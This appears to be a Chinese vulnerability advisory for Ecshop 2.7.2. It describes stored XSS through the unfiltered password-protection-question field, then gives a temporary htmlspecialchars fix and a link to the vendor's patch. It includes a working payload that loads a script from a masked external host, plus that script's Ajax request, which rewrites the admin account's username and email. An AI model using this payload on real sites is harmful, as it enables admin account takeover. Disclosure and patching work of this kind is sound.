个人资料修改时,Javascript代码过滤不够严格,XSS代码直接进入数据库
密码保护问题这一项,没有使用正则过滤,其他的的都有正则过滤。我们可以在密码保护问题里输入XSS,但是后台查看会员资料是不显示密码保护问题的,所以这里必须要网站后台添加了新的 “会员注册项”时,后台查看资料就会显示了,此处填入一段引入外部js的代码:"><script src="http://www.***.com/test.js" type="text/javascript"></script>
外部test.js文件内容如下
Ajax.call('privilege.php?act=update','id=1&user_name=heihei&email=10001@qq.com','',"POST","JSON");
Ecshop 2.7.2
临时解决办法
程序的504行
$temp_field_content = strlen($_POST[$extend_field_index]) > 100 ? mb_substr($_POST[$extend_field_index], 0, 99) : $_POST[$extend_field_index];
修改为
$temp_field_content = strlen($_POST[$extend_field_index]) > 100 ? mb_substr(htmlspecialchars($_POST[$extend_field_index]), 0, 99) : htmlspecialchars($_POST[$extend_field_index]);
ecshop
----
目前厂商提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://bbs.ecshop.com/thread-138506-1-1.html
暂无评论